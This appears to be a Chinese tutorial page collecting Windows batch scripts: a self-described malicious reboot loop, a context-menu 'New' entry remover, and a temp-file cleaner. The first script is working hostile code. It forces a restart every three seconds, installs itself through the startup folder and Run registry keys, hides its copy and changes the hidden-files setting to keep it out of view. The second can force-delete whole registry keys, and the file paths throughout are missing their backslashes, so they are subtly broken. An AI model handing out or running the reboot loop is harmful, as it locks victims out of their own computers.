批处理实例代码教程 集合

2019-09-19 06:52:41王振洲

反复重启的恶意批处理
反复重启就是让别人启动了再重启 一直反复,以下代码

@echo off
shutdown -r -t 3
copy %0 C:Documents" "and" "SettingsAll" "Users「开始」菜单程序启动a.bat
copy %0 c:autoexec.bat
REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v autoexec.bat /t REG_SZ /d c:autoexec.bat /f
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v autoexec.bat /t REG_SZ /d c:autoexec.bat /f
attrib autoexec.bat +r +s +h
REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorerAdvancedFolderHiddenSHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
del %0

3秒重启 加入了启动项 开机就会3秒倒计时
--------------------------------------------------------------------------------
删除右键“新建”菜单项目.bat

@echo off
:: 只要删除"HKEY_CLASSERS_ROORT.后缀名"项目下的"ShellNew"键就可以了
:: 如果实在删除不了,则把"HKEY_CLASSERS_ROORT.后缀名"删除掉即可
mode con lines=25
title "新建"菜单内容删除器
color 1f
:input
cls
call :display
echo 如果要强行删除,请选 1
echo.
echo.
set input=
set /p input= 请输入后缀名:
if "%input%"=="" goto input
if "%input%"=="0" exit
if "%input%"=="1" goto fouce
for /f %%i in ("%input%") do (reg delete HKCR.%%iShellNew /f)
goto continue
:fouce
cls
call :display
set input=
set /p input= 请输入后缀名(强行删除):
if "%input%"=="" goto fouce
if "%input%"=="0" exit
for /f %%i in ("%input%") do (reg delete HKCR.%%i /f)
:continue
cls
call :display
echo.
set choice=
set /p choice= 还要继续清除吗?(y/n):
if "%choice%"=="" goto continue
if "%choice%"=="y" goto input
if "%choice%"=="" goto :eof
:display
echo.
echo.
echo.
echo.
echo.
echo.
echo 本程序能删除右键菜单中"新建"项目下的多余内容,为"新建"菜单减肥!
echo.
echo 如果想让某种类型的文件不再出现在鼠标右键的"新建"菜单中,请直接
echo.
echo 输入该文件类型的后缀名。例如:rar。
echo.
echo 退出请选 0
echo.

--------------------------------------------------------------------------------
快速清理垃圾文件(修正)

@echo off
color f0
echo.
echo 正在安全地自动清除垃圾文件……
del /f /q %systemdrive%*.tmp>nul 2>nul
del /f /q %systemdrive%*._mp>nul 2>nul
del /f /q %systemdrive%*.log>nul 2>nul
del /f /q %systemdrive%*.gid>nul 2>nul
del /f /q %systemdrive%*.chk>nul 2>nul
del /f /q %systemdrive%*.old>nul 2>nul
del /f /q %windir%*.bak>nul 2>nul
del /f /q %windir%*.tmp>nul 2>nul
del /f /q %windir%prefetch*.*>nul 2>nul
相关文章 大家在看